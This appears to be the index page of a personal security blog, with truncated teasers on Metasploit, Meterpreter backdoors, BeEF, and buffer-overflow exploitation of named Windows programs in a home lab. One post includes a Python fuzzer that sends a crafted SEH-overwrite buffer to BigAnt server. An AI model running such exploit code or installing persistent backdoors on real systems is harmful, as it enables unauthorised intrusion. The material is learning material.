Wicd Applet in Backtrack

All of you who had installed backtrack would notice that at default wicd network manager applet won't shown in the panel. Well this won't affect the stability of the system but it would be quite annoying when you have to open it from the main menu everytime you want to connect to a WiFi network.

Follow this steps to fix it.

- Click System > Preferences > Startup Application

Metasploit ~ Upgrade Command Shell into Meterpreter

As I said in my post about meterpreter. It is an advanced payload that can do a lot of advanced task after a system is exploited. But why if we can only get a normal command shell after exploitation? Its rather difficult of course to do the post exploitation step. But that doesn't matter now, because one of the newer features in the Metasploit Framework is its ability to upgrade a command shell payload to a Meterpreter shell payload once the sytem has been exploited. This can be done by issuing "sessions -u <selected session>". This is usefull if we use a command shell payload as an initial stager and then find that this newly exploited system would make the perfect launching pad for further attacks.

Ok, let get started. I'll use a metasploit console version and the system that will be exploited is a Windows XP SP3 machine in my Virtualbox.

Upgrading to BackTrack 5 R2

A while ago, the best linux pentesting distribution, "BackTrack" had released its update that is BackTrack 5 R2.

With a new 3.2.6 kernel, a huge list of new and updated tools and security fixes, BackTrack 5 R2 will provide a more stable and complete penetration testing environment than ever before. For you who doesn't want to reinstall your backtrack to get the R2. You can perform these steps to upgrade your Backtrack 5 R1 to R2. 

Digital Forensic Analysis

After a week of hibernation, its time to move again..  >:)

So, in this post I'll try to perform a simple digital forensic analysis on an image of a floppy disk. You can download it here :

http://www.linuxleo.com/Files/practical.floppy.dd

I use Backtrack OS in this post, because in Linux, there are some basic forensic analysis tools that have been already included.

BASIC LINUX FORENSIC TOOLS

As I told before, linux have been integrated with some basic forensic analysis tools such as :

Advanced Web Application Hacking

Nowadays, most people especially engineers have a website. They usually use it to share their activity, show their works, make a portofolio, etc. But, little people concern about the security of their website. They usually won't do something about the security of their website before it is attacked by hacker. They don't know the importance of their web security before someone breaks into it.

In this post, I'll try to show how to gain a root access through a web application. There are a lot of method to do that, this is one of them. The web application that will be used is DVWA(Damn Vulnerable Web Application). You can download it here. The installation is there too.

- Start up your apache and mysql.

Interact With Metsvc Backdoor

To interact with the meterpreter backdoor service we've created before, we can use a multi_handler with a windows/metsvc_bind_tcp payload to connect with the backdoor. 

To remind you again, this backdoor require no authentication to connect. So it is a dangerous backdoor to use since anyone can use it too.

Ok, here's a way to connect to the metsvc backdoor we've created before.

- Load up your msfconsole

Meterpreter Backdoor

Again, meterpreter is the most convenient payload to use. Part of the hacking framework is creating a backdoor for later use so we don't need to go through normal attack to access the system again. Meterpreter can make a backdoor on a system that we've successfully exploit. Make us can get a meterpreter shell anytime we want. Cool right..  :D

There's a module called "metsvc" that will create a persistent backdoor on a system. This module is created by Alexander Sotirov. Read more here http://www.phreedom.org/software/metsvc/. One thing to keep in mind, metsvc requires no authentication. This means anyone can access our backdoor if they know the port that we use. This is not a good thing if you are performing a real pentest.

Meterpreter ~ Basic Usage

Here's some basic meterpreter commands you can practice..  :)

- help

Display all commands that can be executed by meterpreter.

- background

Return to the msf shell and send the current meterpreter session into background. To interact with it again, just type 'sessions -i [id]'

Exploit Combo ~ BeeF & Metasploit

Exploitation is so much fun and exciting for me..  :D

In this post I'll try to combine BeeF and Metasploit to create an Attack. BeeF, browser exploitation framework is a great tool to exploit the XSS Vulnerability on a site. My target for the attack is still my XP SP3 Machine.

Lets get started..  >:)

- First, start your BeeF-ng services..

Working With Metasploit Auxiliary

Metasploit is a powerfull framework to do an exploitation. There are a lot of thing we can do with it. Exploits, Payloads, Encoders, and Auxiliaries are ready to be used to do an exploitation. In this post I'll explain a little about metasploit auxiliary and how to use it. 

Auxiliary is a set of tools developed to perform reconnaissance like scanning, sniffing, fingerprinting and the other security tasks. With this auxiliary, we can use metasploit to do the earlier hacking framework without other tools, just metasploit and its auxiliary and the other modules, this will make our security tasks far more easier.

So, here's an example the use of an auxiliary..

Linux Exploitation : Stack Overflow

After a week full of Windows exploitation. This time I'll try to explain about Linux Based Stack Overflow Exploitation. There are no big difference between exploitation in windows and in linux. We still have to deal with memory registers, addresses, and payload.

Ok, lets begin..

- First, we must turn off the ASLR on Linux. ASLR stands for Address Space Layout Randomization, it is a computer security method that can make the positions of key data areas to be randomly positioned. Usually including the base of the executable and position libraries, heap, and stack in a process's address space. To turn it off, execute this command.

SEH Based Buffer Overflow : Elecard MPEG Player

In this post I'll try to exploit a software called Elecard MPEG Player that have a SEH Protection (Again??)  :D

Exploit a software is fun if we know the technique and can be very frustrating if we can't exploit it even after hours of struggle.

Okay, Lets get started.

- Install the software on the machine.

- Lets open a file to see what file extention is supported by this software.

SEH Based Buffer Overflow : File Sharing Wizard

In this post, I'll try to exploit a software called "File Sharing Wizard" version 1.5.0 build 26-8-2008. This software have a SEH protection. So, I'll use the technique like when I exploit BigAnt server. 

Lets get started..  

- First thing to do is install the software on your xp machine.

- This is a file server, so we will use a remote exploit for our fuzzer.

- Searching what port this software is running.

Search for "Bad Characters"

In my post about exploiting BigAnt server, when generating payload I'm entering 0x20 and 0x25 as bad character. How to search for a bad character in the application that will be exploited? Here's the way to do it. The application that will be used is still BigAnt server, but I think the method to find the bad character is the same in all aplication. This knowledge is essential because without entering the right bad character, our payload won't work properly as we wish.

Lets begin..  :D

- Use this fuzzer as the starting point.

Fuzzer:

#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

SEH Based Buffer Overflow - BigAnt Server

This time, I'll try to explain how to exploit a software that have a SEH protection on its system called BigAnt Server. SEH is an exception handler to protect the EIP to be overflowed by the abnormal flow on the software. This will force us to use different attack vector and technique because if we use the same technique as in the Direct Return Exploit the attack won't work because of SEH.

BigAnt server is an Internet Messenger server. The version of the software that used in this post is 2.52 Service Pack 5.

Lets get started..  >:D

Buffer Overflow - VUPlayer

Again, in this post I will try to exploit a software using the Buffer Overflow technique. The software is called VUPlayer.

Lets do some testing first to make the software crashed. That will be my attack vector. 

Alhamdulillah, this morning I'm succeeded to make the software crashed in the first try. Here's what I did.

- Of course installing VUPlayer in my Windows XP machine.

- Okay, I want to try adding url. (of course the url is not the valid one..  :P  )

- Making 1000 'A' character in notepad.

Reverse Engineering Mini-Stream RM-MP3 Converter

Reverse engineering is an interesting advanced hacking technique to be learned. Once we knew the technique I'm sure that when there is a bug in a program, although the bug is only a little, we can exploit that vulnerable point to hack our target machine. 

So, at the other post we've already do a reverse engineering technique against WarFTP. In this post we will try to do it with a software called Mini-Stream RM-MP3 Converter.

Lets get started.

- First, Install the software on your XP machine.

- I'll search for some information in www.exploit-db.com/search.

Reverse Engineering WarFTP

Finally, after preparing OllyDbg and WarFTP on our machine, its time to put reverse engineering in action.

What I do in this post is based on my sensei's book titled "Harmless Hacking". Lets get started. 

- Start your Windows XP machine.

- Open WarFTP and start its service by clicking Properties > Start Service

Installing WarFTP for Reverse Engineering

The target for my first reverse engineering is a software called WarFTP given by my sensei. In the other post we've setup the debugger program, now lets install the software on the machine. (If you want to use WarFTP like this post you can download here)

1. Again, I'll transfer the WarFTP master to my machine using web server.

2. Download the master

Setup OllyDbg

Ok, my sensei give me a task to do a Reverse Engineering on a software called WarFTP. Before do that I must install OllyDbg first to debug the software. I'm using Windows XP SP3 in VirtualBox. So, lets get started.

1. Start up your XP machine.

2. I'll transfer the OllyDbg master to my machine using web server. So I put the master into /var/www/files on my backtrack. (If you haven't downloaded the master, you can go here)